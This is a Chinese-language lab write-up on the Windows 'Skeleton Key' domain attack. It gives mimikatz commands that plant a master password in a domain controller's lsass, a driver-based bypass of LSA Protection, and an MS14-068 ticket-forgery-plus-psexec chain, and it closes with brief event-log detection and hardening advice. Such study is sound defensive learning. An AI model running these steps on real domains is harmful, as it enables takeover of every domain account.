【域渗透】Windows-SkeletonKey

0x01 前言

本文是对以下文章的学习:

Skeleton Key 是针对lsass的一个攻击方式,攻击者将Skeleton Key注入域控的Lsass进程后,攻击者可以使用一个万能密码登录所有的域用户,然而现有的认证机制不会被破坏,域用户还是能够使用原密码进行登录。要注意的是这种攻击由于是注入到lsass当中,所以在机器重启后将会失效,攻击者要再次利用Skeleton Key得重新进行攻击。

0x02 利用

利用条件:

  • 已经拥有域中其中一台域控
  • Windows Server2003 - Windows Server 2012 R2
  • 64位系统

Mimikatz

我们可以使用mimikatz简单的完成这种方式的攻击

相关源码:mimikatz/modules/kuhl_m_misc.c

使用正确的密码登录域控,这很正常。

1
net use \\DC\ /user:[email protected] Admin123456

image-20220318203842703

接下来使用Mimikatz安装Skeleton Key

1
2
3
privilege::debug

misc::skeleton

image-20220318204526534

安装完成后 使用Skeleton Key也能正常执行命令和登录系统。

1
2
3
4
net use * /DELETE /y #清空已有链接
net use \\DC\admin$ /user:[email protected] mimikatz

dir \\DC\C$

image-20220318204505397

域用户使用skeletonkey RDP登录域成员机

image-20220318205104817

skeletonkey并不能提高权限,只是给了一个万能密码而已。要登录的用户是什么权限,使用skeletonkey登录后它还是什么权限。

LSA Protection绕过

微软在2014年3月12日添加了LSA保护策略,用来保护进程Lsass,防止恶意进程对Lsass进行注入。

适用系统:

  • Windows 8.1
  • Windows Server 2012 R2

配置LSA Protection

注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

配置命令:

1
2
3
4
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v "RunAsPPL" /t REG_DWORD /d 1 /f

# 查询命令
reg query hklm\system\currentcontrolset\control\lsa\ /v "RunAsPPL"

image-20220319121411694

重启系统后,再次执行会发现报错

image-20220319122913099

绕过LSA Protection需要导入mimidrv.sys驱动文件:

1
2
3
4
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

image-20220319123019716

思考了一下利用环境

  • 域中存在能模拟域管的漏洞可以利用(MS14-068或者是Golden Ticket?
  • 域控是Server 2012 R2及以下

MS14-068配合skeletonkey利用

环境:Windows Server 2008 R2 域控 10.1.1.2

攻击机已经获得域成员机管理员权限,并拥有10.1.1.5域用户本地管理员权限

image-20220319170232524

使用ms14-068.exe来伪造PAC,获得高权限的票据

1
ms14-068.exe -u [email protected] -s domain-user-SID -d DC-IP -p ClearPassword

image-20220319172752031

1
2
3
4
kerberos::purge #清除票据
kerberos::ptc Ticket #导入指定票据
kerberos::list #列出票据
misc::cmd #打开另外一个cmd窗口

image-20220319172927871

1
net use \\DC #建立IPC连接 为了获取shell ,这一步好像是多余的

image-20220319173104956

使用Psexec在域成员机上获取域控shell

1
psexec.exe \\DC -s cmd.exe

image-20220319173242257

在域控上植入Skeleton

image-20220319174302060

注:在进行实验的时候时使用Kali下进行攻击,使用Impacket-Psexec总有问题。。

image-20220321142040112

0x03 防御和检测

检查日志

开启系统日志审核:

image-20220319134113051

当使用Mimikatz时:

image-20220319133522784

Mimikatz安装Skeleton Key时,会产生以下记录:

image-20220319132405008

加载驱动文件会产生相应的日志文件 7045:

image-20220319123556561

当退出mimikatz进程时:

image-20220319133910440

开启LSA protection

在组策略中开启LSA protection保护,虽作用不大,但聊胜于无。

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v "RunAsPPL" /t REG_DWORD /d 1 /f

0x04 总结

简单介绍了Skeleton Key的利用,以及MS14-068的利用方式。不得不说,我是废物.jpg